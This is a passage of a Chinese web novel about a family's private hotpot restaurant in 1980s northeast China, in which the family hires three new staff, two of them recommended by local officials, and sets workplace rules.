能培养出这样的孩子,家里的大人肯定更厉害!这个“珍珍”火锅店将来肯定大有发展。 他还特地叮嘱底下的人,如果下次苏家的人再过来一定要告诉他,他亲自出来接待。 苏丽珍不知道吕主任这么看好她,她这会儿心情十分好。 吕主任投桃报李,本来按约定是月底才来拿酒的,没想到吕主任直接参照上个月剩余酒的数量,拍板先让她拉回去一半,等到月底具体数字出来,剩多剩少都是他们家的。 当然,人家也只是客套一句,那些剩余的酒水不可能都卖给他们,而且二十多种酒,他们家也吃不下。只是吕主任这样爽快的态度总是让人心里格外受用的。 回来时,正好赶上运输队的汽车给商店运货,吕主任又亲自出来打了招呼。最后,苏丽珍借光,连人带酒都坐着人家的车回了店里。 苏卫华夫妻和苏小麦见她出去一趟,连酒都拉回来了,自然高兴不已。等卸完了酒,给司机塞了两包烟,客客气气把人送走后,便忙不迭拉着苏丽珍嘘寒问暖。 李翠英和苏小麦见她一双手冰凉冰凉的,都心疼得够呛。 李翠英问:“冻坏了吧?妈去给你弄一碗红糖姜汤,再卧两个鸡蛋!” 苏丽珍忙拉住她,“妈,不用那么麻烦,我喝点儿热水就行了。” 李翠英不依,“这有啥麻烦的,我这就去给你做,很快的!” 张舅妈这时在旁边笑道:“还是我去吧,你们娘仨坐下说会儿话。我这手艺虽然比不上妹子你,可红糖鸡蛋还是做得来的!” 这会儿才下午两点半,店里不算忙,李翠英也就没跟她客气。 张舅妈很快端了一大碗红糖鸡蛋出来,里面还细心地放了几颗红枣。 苏丽珍一口气吃了大半碗,身上果然暖和了许多。 正好苏卫华领着王树把酒水都入了库,两人过来,王树一看见苏丽珍,连忙主动打招呼:“小老板好!” 苏丽珍忍不住笑了起来,“什么小老板,你比我大,我喊你一声王树哥。你就跟其他人一样,叫我珍珍就行。” 王树憨憨一笑,十分乖觉地答应了。 苏丽珍又问他:“树哥,你今天第一天上班,感觉怎么样,还习惯吗?” 王树赶忙点头,用小学生上课回答老师问题的语气答道:“非常习惯!苏叔、苏婶,还有张大娘她们都很照顾我。苏叔上午还一直亲自带着我,我觉得学到了很多东西!” 这一板一眼的回答,把所有人都逗笑了。 王树一看大家都笑,脸上登时红了起来,两只手都不知道往哪里放了。 苏丽珍见他窘迫成这样,正好那边有一桌客人喊着要加肉,就让他先去忙了。 张舅妈也回厨房干活了,只剩自家人,苏卫华倒是对王树毫不吝惜地夸奖起来。 “你和你妈眼光好,王树这孩子真是不错!人机灵,教点啥一学就会。最关键的是眼里有活儿,不用人老支使。” 苏丽珍失笑,虽然她对王树的第一印象也很好,可这毕竟才第一天,她爸就不担心看走眼吗? 李翠英这时也道:“不能走眼,那孩子一双手上全是茧子,一看就是打小干惯了活儿的。一个勤快的孩子,本性总归坏不到哪去。” 苏丽珍笑道:“行,你们满意就行。不过防人之心不可无。” 她望了眼那边正忙活的王树一眼,低声道“咱们该小心的地方还是得小心,毕竟日久见人心。” 李翠英嗔道:“你这孩子就爱瞎操心,我和你爸心里有数,啥时候也忘不了咱开这家店的倚仗!” 苏小麦也说“妹妹,你就放心吧。我现在天天坐在收银台这里,所有人进进出出我都注意得到,保准谁也别想靠近咱家的小屋!” 她口中的“小屋”就是当初苏丽珍找薛老爷子特意隔出来的那间小储藏室。 如今,店里的麻辣锅底、做卤味的老卤,以及几味关键的佐料都放在那间屋里。 门上天天有“铁将军”把门,两把钥匙分别由李翠英和苏小麦保管,外人轻易进不去。 苏丽珍听见这话,却忍不住说她,“你还说呢!医生都让你好好静养,结果你一天不落地守在这里。我看现在店里的人手也够用了,你可不准再下来了!” 苏小麦却连连叫苦:“好妹妹,可千万别!我坐在这里,不过是每天记记账,收收钱,其实一点儿都不累!” “而且你们都在楼下,就我一个人在楼上,真的很没意思,你就让我留下吧!我保证不逞强,累了我一定自觉回楼上行吗?” 苏丽珍拗不过她。 不过想想放她自己一个人在楼上,也确实有点无聊。 她想起上次给小麦的叔爷买缝纫机票时,似乎听说他们也能搞到电视机票。 看来她也应该买一张! 家里有了电视,小麦自己一个人就不那么孤单了,过年家里也更热闹! 不过,现在不是说这个的时候,说到人手,她忙跟父母和姐姐提起下午吕主任介绍的人。 苏卫华夫妻听完也没说什么,毕竟那位吕主任直接连酒都给他们拉来了,这么大的忙,总要回报一下的! 况且听闺女说的,那人的情况倒也不错。 苏卫华就说道:“在厨房里切切菜、打打下手,腿脚不好也问题不大!咱说句心里话,人家是保家卫国的英雄,要不是出了这个事,咱就是去求都求不来!” “所以,不说看在那位吕主任的面子上,就冲这么个人,咱照顾照顾人家也是应该的。” 李翠英和苏小麦也不由t点了点头。 苏丽珍却有不同意见,“爸,我听吕主任的话,他这个表侄宁愿自己去货站给人扛包,也不愿麻烦他们这些亲戚朋友,可见是个有心气儿的!” “我看他到时未必愿意让咱们照顾,咱别弄巧成拙了才好。” 这也是她当时直接拍板要人的主要原因。 苏卫华等人一想也对。 原本身强体壮能扛木仓杀敌的人民战士,一朝成了腿脚不利索的残疾人,这心理落差肯定不小,搁谁身上都得难受! 要是他们把这份照顾的心思表现的太明显,人家恐怕也不得劲儿。 苏卫华马上道:“还真是我想岔了!这么着,等人家来了,咱该咋的、就咋的,就跟对其他人一样!” 李翠英也说:“待会儿我就跟张嫂子她们先打好招呼,让她们都有个心理准备,别到时候人来了一惊一乍的,让人家小伙子不自在。” 苏丽珍又补了一句:“也别提吕主任的事……就说这位齐志飞原先在部队,还在炊事班干过,咱们听说后才把人请来的。” 齐志飞就是吕主任的表侄。 “好、好,都照你说的!”李翠英笑眯眯地看着她,目光里全是宠溺。 “谁让我闺女这么心善又周全,我这当妈的当然要照做!” 苏小麦也跟着配合道:“可不是嘛,而且我们妹妹不光心善周全,还聪明伶俐、体贴大方!” 苏卫华不由板起了脸,故作生气道:“好啊,好话都让你们娘儿俩说了,剩下我一个没词儿了,显得我嘴特别笨,是吧!” 他这一搞怪,把娘仨儿都给逗得哈哈直笑。 正其乐融融间,大门帘子突然被掀起,有人来了。 他们原以为是有客人上门,结果一看,来人竟是分管他们这个片区的工商所夏所长。 一家人赶忙迎了过去,“夏所长来了,快、快请坐!” 当初,首都第一家私人饭店开业的新闻见报后,苏丽珍就去过这一片的工商分所,打听关于本市开放个体经营的政策。 分所离客运站不远,夏所长本就知道苏家人在那儿摆摊,当时认出苏丽珍后,还亲自接待了她。 那时,有关私营经济的话题还是比较敏感的,所以夏所长对苏丽珍这个初生牛犊不怕虎的小姑娘很有些印象。 之后政策放开,苏家这对父女又前前后后去了好几趟,打听开业资质的事,双方也渐渐熟悉了。 夏所长还给行了不少方便,要不然饭店的相关手续也不会下来的这么快。 夏所长是一个很和气的人,没有一点儿架子。 他一边坐下,一边四下环顾了一圈,夸道:“我这还是第一次过来,早听说你这店里收拾得美,火锅味道更美。我这么一看,还真是漂亮,难怪生意这么火!” 苏卫华笑道:“还不是托了您的福,要不是您关照,我们这店说不定还要等些日子才能开。” 夏所长摆手,“卫华同志,你可别这么说,这本就是我分内的事。再说,你们两口子手艺好,这店早开起来,也是造福我们大伙儿嘛!” 这时,苏丽珍沏了杯热茶过来,接话道:“所长伯伯,您光说我们手艺好,恐怕还没亲自尝过我们家的火锅吧!” “我看今天正好,您就留下来,也顺道尝尝我们家的特色火锅,看看这味道到底美不美!” 夏所长忍不住笑了起来,虚点了苏丽珍几下,“你这小姑娘越来越会说话了,有你这话,夏伯伯不用吃,这心里就美美的了!” “不过你的好意,伯伯心领了。我这次来,还真是无事不登三宝殿!” 说着从随身的黑色公文包里拿出一份表格递给了苏卫华。 “这是市局新下来的一份调查表,要求我们每个区分所盘点辖区内所有的个体私营单位,将相关信息汇总后上报市里。” “而且有可能过段时间,上面的领导还会亲自来实地考察一下。” 见一家人面露紧张,他忙安抚道:“你们别紧张,只是正常的走访参观,不涉及其他。而且这个完全是随机的,也不一定就会到你们店来。” 第84章 苏卫华和李翠英这才松了口气。 不怪他们担心,现在报纸上每天仍然有很多批评个体经济的言论。老实说,他们也害怕哪一天这店真的开不成了。 苏卫华把表格交给全家写字最好的闺女来填。 苏丽珍接过后迅速扫了一眼,见要填的都是些诸如经营种类、场所、规模等基本信息。 唯有表格最底下,是询问填表人在实际经营过程中遇到了哪些困难;以及对此是否有什么相关建议。 只看这两个问题,苏丽珍心中的大石就落了地。 虽然有上辈子的记忆,知道个体经营这条小船今后势必会成长为真正的巨轮,乘风破浪。 但不可否认,新生事物成长起来前会有一个必经的波折阶段。一个不好,风大浪急,小船是有可能翻的。 如今,从这两个问题上,她能感受到的是一种积极的态度。 她觉得这份表格所透露的立场是对他们这些个体户有利的。 苏丽珍认真填写了表格,关于这两个问题,她回答的算是中规中矩。 将店里遇到的困难写了两点,建议方面她特地避开了。 现在,反对发展个体经济的呼声始终没断过,对他们来说,能光明正大的开店已是不易。这时候提建议落在有心人眼里,怕是觉得他们得陇望蜀,贪心不足。 所以她只是重点赞扬了自家开店过程中相关部门予以的支持,感谢了一些干部们对自家的帮助。 夏所长拿到表格一看,不由笑了起来,“你个小机灵鬼!” 倒也没说什么,就把表格重新收回了包里。 解决了调查表的事,夏所长喝了杯茶,又闲话了几句,再次开口道:“卫华同志,其实我这次来,除了公事,还有件个人的私事想要拜托你们。” 苏卫华愣了一下,马上道:“夏所长,您有什么事只管开口!” 刚刚有客人要结账,苏小麦就过去了。这会儿只有苏卫华夫妻和苏丽珍一家三口在。 苏丽珍怕夏所长有什么不方便的,便准备拉着她妈先走开。 不料夏所长看到,忙叫住了娘儿俩,“李同志、丫头,我这儿也没啥要避人的,你们不用走。” 他顿了顿,语气有些不好意思道:“我看你们店门口贴了招人的广告,我想问问那个服务员,你们招齐了吗” 原来也是为了用人的事。 因为之前已经有了吕主任表侄这一茬,一家三口乍听了这话,反应倒是都很迅速。 苏卫华立即主动道:“还差一个呢。夏所长,您是不是有什么合适的人?可以给我们介绍介绍啊!” 夏所长便说道:“是我乡下老家的侄女,今年17了,如今人就在我们家里住着。” “她打小干农活,所以干活肯定是没问题的!哦,对,她在老家念过书,小学已经毕业了,会写字、也会算数……大体上就是这么个情况,你们看成不成 苏丽珍听完,觉得这条件还可以。想来这姑娘既然干惯了农活,那一定也做得来店里的事。 他们店里的活儿怎么也比农活轻松吧。 用他班上那些出身农村家庭的同学话说,这城里头最累的活儿,也比他们在农村种地强。 况且就算不提这些,单单冲着夏所长,这个面子也一定要给的。 显然苏卫华和李翠英也是这么想的。 苏卫华直接拍板,“啥成不成的!我看这条件倒是合适……就是夏所长,我老苏是个直性子,习惯有啥说啥。” “您看我们这店吧,它跟正规的国营饭店比不了,这一天要从早忙到晚,正经不清闲,不知道孩子到时能不能习惯……” 夏所长赶忙道:“卫华同志……” 苏卫华:“夏所长,您直接喊我名字,或者喊我老苏就好。” 夏所长痛快改口,“行,那我就喊你老苏了!” “老苏,我就喜欢你这有什么、说什么的性子。其实我也是农村出来的,我知道再怎么不清闲的活儿也比在农村种地轻松。而且这孩子也是个能吃苦的。” “说来这也算是家丑了。我那兄弟虽然是在农村,但家里条件还是可以的。” “就是我先头的弟媳去的早,新弟媳开始看着也还好,只是这几年却越来越不像样,连带我那兄弟也不着调了。” “也不知道他是怎么想的,竟然听了他媳妇的撺掇,要把我这侄女嫁给他们公社上一个新丧偶的小干部!” “那人都已经四十多岁了,你说有他这么当爹t的吗!” 夏所长显然对他的兄弟十分失望,提起这话时,语气中满满都是愤怒和厌恶。 “多亏了我大侄儿悄悄给我写了封信,我知道这事后立马回老家,跟他大吵了一架!之后我就把这孩子一块儿带回来了。” “我想着既然我把人带出来了,那我就得为这孩子负责。我们家不差她这一口饭,可我觉得一个人,尤其是一个女孩子,只有自己真正独立起来,她才能自由地选择她想走的路,对她自己今后的人生负责。” “我能推着她走出第一步,可之后的每一步却都要她自己来。” “我原本是打算让她继续去念书的,但是她不愿意,说自己年岁不小了,还是想先找一份工作试试。” “我和她大娘一商量,觉得先出来锻炼锻炼也好。不管怎么说,这是她自己做的决定,我这个当大伯的怎么也要支持。所以我就厚着脸皮来麻烦你们了!” 听完夏所长说完这番原委,一家人不由都对夏所长的侄女儿有些同情,这是差点被后妈亲爹一起推进火坑啊! 苏卫华忙说道:“夏所长,啥麻烦不麻烦的,您千万别这么说!” “我倒觉得这是我们家和这孩子有缘分……不过您别怪我多嘴,我想着,你回去也先跟孩子提一嘴,看看孩子自己啥想法。要是她也乐意,您就只管把人带来。” 苏卫华是一番好意,因为同样是临时性的工作,在国营单位里做临时工,起码还有转正的可能,但是他们这儿可什么都没有。 他想夏所长当人大伯的不容易,有些道理还是提前掰开了才好。 苏丽珍在旁边听着,忍不住翘起了嘴角。她发现她爸现在应对这些场合越来越得心应手了,简直让人刮目相看。 夏所长也听出苏卫华的好意,当即爽快道:“行,我今晚回家就跟她说,要是她也愿意,那我明早就把她带来。” 虽然门口广告上写了服务员的工资待遇,不过苏卫华还是又详细说了一遍,夏所长也听得很认真。 等提到体检的事,夏所长又说之前他把侄女接进城的时候,发现孩子身上有伤,就带人到医院做了个全面检查。 所幸结果没有大碍,那些伤也只是藤条打出来的皮外伤,这两个月也早就养好了。 既然是这么个情况,那自然不用特意去做体检。 这件事一说定,夏所长没有多呆,就告辞离开了。 把人送走后,李翠英还感慨道:“果然是龙生九子,各有不同。这当爹的一门心思坑闺女,做大伯的倒是事事处处为侄女打算,也亏得这孩子摊了个好大伯。” 苏丽珍也是这么想的,尤其夏所长那番关于女孩子更应该学会独立的话,绝对是用心良苦。 她只盼着这位侄女来了店里后能踏踏实实,不要辜负了夏所长这份心意。 既然人手已经招齐了,门口的广告就不能再贴了。 苏丽珍正要喊王树去把那则广告揭下来,这时街道办事处的宋主任忽然来了。 “哎呀,今天这天气可挺暖和!小苏啊,小李呀,我来看看你们!” 宋主任今年40多岁,身形微胖,留着干练的女干部头,人很热情,嗓门儿也大。 “是宋主任来了!快请坐!” 苏卫华和李翠英忙把人让进夏所长之前坐的那张空桌。 “宋主任,您过来是不是上边儿又有啥新指示了” 现在的街道权力可不小,像平时包括卫生、街面违停违放等各种检查都归他们管。 个人家里大大小小的手续证明,第一步也是先找街道。最常见的出门用的介绍信,如果没有工作单位,就得找人家街道给开。 宋主任笑着摆手,“没啥指示,是我自己有事过来。我看你们门口贴着要招服务员,我就是为这事过来的!” 宋主任也没绕弯子,直接就说明了来意,“我想把我外甥女介绍过来。” 苏丽珍一家:“……” 今天这是怎么了?一个个的都来说这事,偏偏还都是不好拒绝的人。 苏丽珍正端着一杯茶过来,因为是在侧面方向,宋主任看不到,她飞快给父母使了个眼色,一边把茶水递给宋主任,一边笑嘻嘻道: “宋阿姨,都说外甥女像姨,您的外甥女是不是也像您一样干脆利落,有魄力啊?” 宋主任乐了,“丫头这小嘴儿越来越甜了!这话是变着法子夸我呢,我爱听!” 她接过茶喝了一口,就自顾自道!“我这外甥女,要说有些地方是挺像我的,说话办事嘎嘣脆,贼利索!” “就是吧,我妹妹和妹夫生了三个儿子,就这么一个闺女,还是老小,所以打小惯的厉害,把这孩子惯得脾气大了。” 苏丽珍笑道:“我爸妈也就我这么一个女儿,从小也惯着我。” 苏卫华夫妻不好一直不说话,李翠英便适时接话道:“是啊,女孩子是该娇惯一点的。” 宋主任一拍大腿话,“话是这么说,可这孩子之前确实是有点不省心。” “上学的时候贪玩,初中毕业她就说啥都不肯念了。她爸妈想让她进厂,工作都求人安排好了,可她死活不愿意去!” “说厂子里头处处受管制,不自由!没办法,我妹子和妹夫就又四处托人,求爷爷、告奶奶,总算把她安排到家跟前一家国营饭店里当临时工,也是干服务员。” “结果她去了没几天,因为店里的老服务员排挤她,她就跟人打起来了。当时打的太凶,她顺手扔了一个饭盒,好巧不巧地砸到了饭店经理头上,给那经理脑门上砸了个鸡蛋黄大的包。” 苏丽珍一家:“……” 真不知道是该说这姑娘倒霉,还是勇气可嘉。 宋主任一阵叹气,“出了这个事儿,这临时工自然是干不成了。关键是因为这事,这孩子名声也闹得不好了。” “愁得我妹子在家天天上火,前儿还病了一场!” 她看着苏桂华夫妻,目露恳求,“小苏、小李,我知道我不该张这个嘴,可我实在也是没办法了。” “我今天就跟你们交个底儿,这孩子虽说脾气大了点,但本性不坏,也不是主动惹事的人。” “而且经过这两回,她爸妈也不惯着她了!等我这次给她找着了工作,她再不好好干,她爸妈以后也不管她了,到岁数给她贴点嫁妆,让她嫁人,她爱咋地、咋地!” “这孩子也跟我们保证了,说从今往后肯定把脾气改好,以后老老实实干活!苏啊、李啊,你们两口子就当是帮我一个忙,行不?” 第85章 苏丽珍心里叹了一口气。 宋主任话都说到这个份上了,这人势必要留下了。 苏卫华夫妻答应留人,不过有些话肯定要提前说好。 他们这毕竟是私人饭店,国营单位那一套肯定不行。总不能因为那姑娘一个人,到时候把客人都得罪光了。 宋主任倒也是个痛快人,直接道:“你们该管管,该骂骂,不用有顾虑!这天底下的人又不都是她爹妈,谁见天惯着她啊!” “要我说,她就是摊了个好爹妈和我这个好大姨,要不然谁平白替她操这个心!干点儿工作还闹脾气,美得她!” 苏丽珍能感觉到宋主任这话不是客套,应该是真心这么想。 冲着她这样的态度,以后很多事就好办了。 要不然等人来了,遇到事情就像豆腐掉灰堆,吹,吹不得;打,打不得,那可就闹心了。 宋主任走后,一家人相互看看,不由都露出了苦笑。 东北是个极讲究就人情的地方,一涉及到人情、脸面,很多事情都不能较真。 虽然苏丽珍也很反感这些,但是身在局中,你无力改变,就只能努力去适应。 不过往好处想,这些事情也不见得就都是自家吃亏,毕竟人情攒着攒着,总有能用到的时候。 苏卫华和李春英到底在大厂子待了那么多年,对这种事倒是比苏丽珍看得开。 不过李翠英回过神来,第一件事还是赶紧到门外把那张招人的广告揭了下来。 苏丽珍和苏小麦还听到她念叨:“老天保佑,可千万别再来人了!” 苏小麦小声问苏丽珍:“妹子,你说这多了一个人……能成吗?你是怎么打算的” 苏丽珍明白她的意思,按照之前的打算,店里是只准备招两个服务员的,这多了一个,成本自然也就增加了。 其实刚刚宋主任提起这茬时,她就在脑海里权衡过了。 现在他们店每天上午九点开门,但是几乎十点刚过就开始上人了,上午这一波客流能持续到下午两点多。 因为现在是冬天,天黑的早,t外头又冷。所以晚上通常下午四点多,客人就陆续增多了,到晚上七点以后才没什么人。 每天有客人上门,需要招待的时间就有七、八个小时,其中绝大多数时候还都是客满状态。 平均下来,店里每天能有九十桌的客人,加上还要兼顾卖卤味,两个服务员其实压力有点大。 再来一个人,三个人每人每天刚好负责四张桌,离得近的捎带看顾一下卤味柜台,一天一轮换。 再有她爸苏卫华居中协调,应该正好。 苏小麦听完点头:“听你这样安排还真是挺好的!要不然干爸干妈肯定要为难,我感觉他们还是挺喜欢王树的。” 姐妹俩都看出来了,苏卫华和李翠英之前是有些回避这个问题的。 苏丽珍也有些沉默。 如果这三个人只能留两个的话,让王树走,肯定是对店里最好的选择。 这就是现实。哪怕这三个人中最适合、也最需要这份工作的人都是王树,但遇到这种情况,最先被放弃的也是他。 这世上,每个人的起点都是不同的。也许你拼尽全力想要争取的,在别人那里只不过是一句话的事。 可笑的是,有的人占尽天时地利,偏偏还要去指责被他们用一句话夺走机会的人不够努力。 所以,弱小就成了原罪。 如果不想被人轻松夺走任何东西,想守护挚爱的亲人、朋友,唯有自己强大起来。 只有强大,才会有话语权,才有更多选择的余地。 —— 吃晚饭的时候,苏卫华找着个空挡把苏丽珍叫住,一脸底气不足地跟她商量道: “闺女啊,你看咱家店的生意也挺忙的,我跟你妈商量了一下,觉得店里留三个服务员,这人手也能更宽绰些。所以咱把这三个孩子都留下,你看行吗?” 苏丽珍便说道:“行,那就按您和我妈的意思来吧!” 苏卫华默了默,语气有些愧疚,“珍珍,这事是我和你妈有点感情用事了,其实我们应该按照你的计划来,咱们毕竟是开店,要赚钱的……” “爸!”苏丽珍打断了父亲的话,柔声宽慰道:“您别想那么多,您本来就是这饭店的主人,您想留下谁都可以!再说,人家留下来又不是白拿工资。” 她挽着父亲的胳膊,撒娇一样小声说道:“爸,其实我还有一个想法。您看咱们的饭店现在生意一天比一天好,未来绝对可期。” “说不定我们将来还会扩大规模或者发展其他副业,那到时候,咱们肯定会用到更多的人。” “而您闺女我将来要去上学,不能一直留在您和我妈身边,小麦姐身体又不好,大勇哥也有他自己的事要忙。” “所以我想,如果咱们现在遇到了条件合适、人品也可靠的人,就让他留在您身边,将来专门给您做助手。” “如果您和我妈也同意这个想法,那从现在开始培养人,也不算早。毕竟这样合适的人不好碰,所以现在多来两个人也不是什么坏事。” 谁知苏卫华听完却更沉默了,许久才冒出一句,“珍珍啊,爸跟你商量一下,其实我觉得咱们凤城的东华大学就挺好的。” “那是咱东三省最好的学校,在全国都是一流的!我看你将来就考这个学校就行……” 大概觉得这样说给苏丽珍的压力太大,他忙又改口:“当然不是一定要考东华大学,换其他的也成,反正咱凤城有十来所大学呢!” 没想到她爸是在纠结这个事,苏丽珍不由失笑,虽然有些歉疚,但是将来她还是想到首都去念大学。 只有这样,她才能有更多时间去寻找对她恩重如山的苏爷爷。 不过看她爸似乎对这个问题比较敏感,她想了想,反正还有两年的时间,决定先不把她考首都学校的决定说出来,便哄着她爸道: “爸,您看您说的,这大学又不是大白菜,哪能我说想考哪个、就考哪个啊。” 这话苏卫华可不爱听,他眼睛一瞪,“怎么不能啊?我的闺女,我知道!只要我闺女想,那一准啥学校都能考得上!” 苏丽珍笑着用脑袋蹭了蹭父亲已经重新恢复宽厚的肩膀,“爸,您和我妈都是我最惦记的人,而且就算我将来去了更远的地方念书,等我把想学到的知识学到了,想做的事情也做完了,我一定会重新回到你们身边。” “您知道的,我只想让你们过上更好的生活,为此我需要不断地武装自己,磨砺自己。只有这样,才能有能力去争取一切。” 苏卫华摸了摸闺女柔软的发顶,叹气道:“爸知道,爸只是舍不得你……你是个聪明有能力的孩子,确实应该去外面更宽广的世界好好看一看。” “我和你妈没有能力为你做更多,就不应该拦着你。” “好闺女,你一定要记住,你是我和你妈在这个世上最重要的人。在我们心里谁也比不上你!” “将来不管你去到哪里,要做什么决定,我们永远都会支持你。” “谢谢你,爸爸!”苏丽珍眼眶发红,紧紧抱着父亲的胳膊,重重点了点头。 父女俩静静依偎着,谁也没有再说话,都静静享受着此刻的温情。 晚上临到下班前,苏丽珍叫住了王树。苏卫华和李翠英都是心软却不善于表达的人,但是她却需要让王树知道两人对他的这份关照。 见苏丽珍单独找自己说话,王树的神情一下变得紧张起来,一只手还无意识地揪紧了衣角。 苏丽珍装作没有看出来,只是平静道:“树哥,今天下午的事你也看到了。工商所夏所长和街道的宋主任,这两个人之前在我们家开店的时候都多多少少帮了些忙。” “就算不提这些,他们直接开了口,那有些事,我们就不能不考虑。所以他们今天介绍的那两个姑娘,店里都会留下。” 听了这话,王树脸色发白,眼中也流露出落寞的神色。 苏丽珍不动声色地仔细观察了一番,发现他只是难过,并没有因此生出怨怼不忿的情绪,心里满意。 如果店里真的只能留两个人,王树固然是最吃亏的,可在这件事上,店里也有难处,大家都是被裹挟在这个人情社会里,很多事情都由不得自己。 如果他连这一点都看不透,因此对他们心生怨恨,那就太辜负苏卫华和李翠英对他的这份维护了。 想要在这个社会上立足,每个人要学的第一件事就是直面这社会上的种种不公,并在没有能力改变之前去接受,去适应。 所有人都是这样过来的。 做为店里请来做事的人,说句冷酷的,他们是没有义务去慢慢等王树想通这些的。 另外,她也想借此考验一下,看看这个人是不是值得她爸妈为他打破计划。 因为对王树的反应还算满意,她也没打算抻着对方,话音一转,马上道:“不过,我们觉得以店里现在忙碌的程度,三个人都留下倒也合适。” 王树猛然抬起头,眼中流露出不可置信的惊喜。 苏丽珍继续说道:“店里暂时就先请你们三个人,虽然你只比另外两个人早来一天,但你是男孩子,我爸妈又夸你悟性好,学什么东西上手都很快,所以到时候可能还需要你主动带带另外两个姑娘。” 王树这回彻底反应过来,知道自己能留下了,激动的不知道说什么好,只能笨拙地连连保证道:“我一定会的、我一定主动帮助她们!” 苏丽珍笑了起来,末了,又说了一句:“树哥,虽然她们是出于某些原因来的店里,但是许多事情也仅止于此。我和我爸妈看重的始终是品行和能力,在我们这里,你们都是一样的!你明白吗?” 王树也不傻,他明白小老板这是在提点自己,她并不会因为那两个姑娘有背景就会对她们另眼相待。 以后在店里看重的还是他们做事的能力和态度。 他连忙用力点头,发自肺腑道:“我明白的!谢谢小老板,谢谢老板和老板娘,我今后一定会用心做事,好好表现!” 苏丽珍见状,知道他是真的明白自己的意思了,心想这果然也是个机灵人,难怪她爸妈喜欢。 又勉励了对方几句,这才让他离去。 第二天,店里新招的三个人都来报道了。 夏所长的侄女夏春花因为不用体检,来的比较早,八点不到人就来了。 夏春花中等身量,长得很漂亮,只皮肤有点黑,衣着打扮十分朴素。 然后是齐志飞。 齐志飞个子很高,足有一米八,一看就是部队出身的人。虽然面容清瘦,还拖着一条伤腿,但是丝毫不t损他英武坚毅的硬汉气质,很容易让人心生好感。 最后到的是宋主任的外甥女曹金凤。 她穿着一件红底白花的花棉袄,围着一条大红色的围脖,脸上擦着厚厚的粉,还画了红脸蛋和红嘴唇; 头发梳成两条麻花辫,头上别着红、蓝、绿三种颜色的六个塑料发卡,然后辫梢上还用粉红色头绫子扎成两朵夸张的大花。 全方位做到了,只要是这个人掉到人堆里,你百分百能在一秒钟内找到她。 苏丽珍一家:“……” 苏丽珍当时心里只有一个念头:今天除了划分工作职责,必须严格规范员工的仪容仪表,坚决不能由着她们胡来—— 作者有话说:头绫子是八九十年代的一种发饰,一般以红色和粉色为主。 大约有三指宽,在商店里是按尺卖。早期一尺大约1分、2分钱,到后来九十年代,头绫子上面会有金线、银线,价钱也高了,大概一尺要1毛,2毛。 我买过最贵的要五毛钱,大红色带金边的,梳俩羊角辫,一边扎一个,支棱起来像朵大红花,老显眼了。 它应该是化纤材料制作的,手感类似于那种摸起来比较粗糙的硬硬的纱巾,质感很挺阔,绑在发辫上能够支棱起来,不会软塌塌的。 女孩子们逢年过节都会让家长给她们买来戴。 头绫子颜色鲜艳,好打理,不容易褪色,但是有一个缺点。就是边缘处非常容易拉丝,只要抽出一点丝,一扯就是一大片,那整段头绫子就毁了。 所以那时候一旦发现有拉丝的苗头出现,女孩们就会用刚熄灭的火柴棍燎一下,物理掐断一切拉丝的可能。 当然要是手抖的话,那就等着挨一顿揍,然后准备磨长辈们买新的吧。 感谢在2023-04-2209:35:13~2023-04-2321:16:59期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第86章 人员都到齐了,苏卫华抓紧时间给大家开了个早会。 让新来的人先做了一番自我介绍,相互认识一下。接着,就是安排每个人具体的工作内容,明确职责划分。 前台,大堂和包间十二张桌,因为包间离后厨最远,尤其其中两个包间还是能坐二十人的大包,所以这部分都交给王树负责。 另外,作为服务员里唯一的小伙子,他还有一个看炉加碳的活儿。 大堂八张桌,一分为二,夏春花和曹金凤每人负责四张。两人一天一轮换,每天离柜台近的人要捎带看顾卖卤味。 现在为了方便管理,服务员卖卤味只负责开单和称重。由顾客自己拿着单子到收银台结账,换取付款联,再凭联到柜台取卤味。 店里吃饭的结款流程也是如此。 如今饭店生意爆火,买卤味的客人们要么是自己特地避开了忙时过来;要么就是吃火锅时直接点一份。 后者这种情况都是服务员开单后,后厨的人自己过来称重,直接改刀上菜,不需要服务员再做什么。 所以,两个人完全忙的过来。 另外,整个前厅,大堂、包间,包括卫生间的卫生清洁工作也是三个服务员共同负责。 收银员还是苏小麦担任。 苏卫华是大堂经理,负责居中协调加查缺补漏。 后厨由李翠英领导,主要是保证菜品的口味和质量。 张舅妈和齐志飞两人改刀、备菜,外加负责部分主食。 两个钟点工钟嫂子和田大姐暂时归后厨管,专门做些洗洗涮涮的活计。 除了安排大伙儿的工作内容,苏丽珍还真就特意强调了一下仪容仪表的问题。 她要求店内所有员工必须搞好个人卫生。 后厨人员不准留长指甲,而且只要踏入后厨范围就必须穿好工作服,戴好卫生帽。 前台的服务员要保证衣着整齐得体,特别是不准化妆。 苏丽珍一说完这话,所有人的目光都下意识看向曹金凤。 曹金凤脸色不太好,有些不乐意道:“小老板,我不明白为啥不行化妆?化妆多好看啊,你看人家演员上台表演前不也都化妆吗?” 不准化妆,这一点确实是有点霸王条款,但是苏丽珍没办法,她这一条就是专门针对曹金凤的。 她觉得以对方现在这个审美,就算告诉她可以化淡妆,她也未必能“淡”的起来。 与其倒时多费唇舌,不如现在一刀切,干脆就别画了。 因为是第一天,苏丽珍不想表现的太严厉。 是以,她委婉地解释道:“金凤姐,你也说了,人家是上台表演,离底下观众少说也有个十米八米远,和咱们不一样。” “咱们是直接近距离跟客人接触,万一你给客人上菜端酒的时候,脸上的脂粉掉到人家的酒菜里怎么办?” 曹金凤不服气,小声嘟囔道:“也没这么夸张吧!” 苏丽珍瞥了眼她脸上辣眼睛的浓妆,说别人可能是夸张,说她可一点不亏。 见对方不为所动,她直接态度坚决道:“金凤姐,待会儿散会我给你拿一条毛巾,你把脸上的妆洗一洗吧。” 她也不等曹金凤说话,径自笑眯眯道:“我听宋阿姨说,金凤姐长得很漂亮。说起来咱们这都说了半天话了,我们还没看清你长什么样呢!” 这话说的苏小麦忍不住低头憋笑,其他人眼中也染上了笑意。 唯有曹金凤一听“宋阿姨”三个字,立马不敢再争辩,对苏丽珍的讽刺也丝毫不在意的样子,只是不死心地瞪着眼睛最后追问了一句:“真的一点都不能画?” 苏丽珍这下反倒佩服起她这股子执着劲儿了。 “也不是完全不可以。” 见对方目露惊喜,她随即又补充了一句,“只要一点都看不出来就行了。” 曹金凤:“……” 那她画的什么劲儿!这不还是不让画吗? 眼见曹金凤老实了,苏丽珍才接着又宣布了第二件事。 她今天会请裁缝上门,给大家量尺寸,定做工作服。 服务员一律是红色上衣,黑色西裤。 上衣选的是比较符合店内风格的中式唐装,立领盘扣,简洁大方。 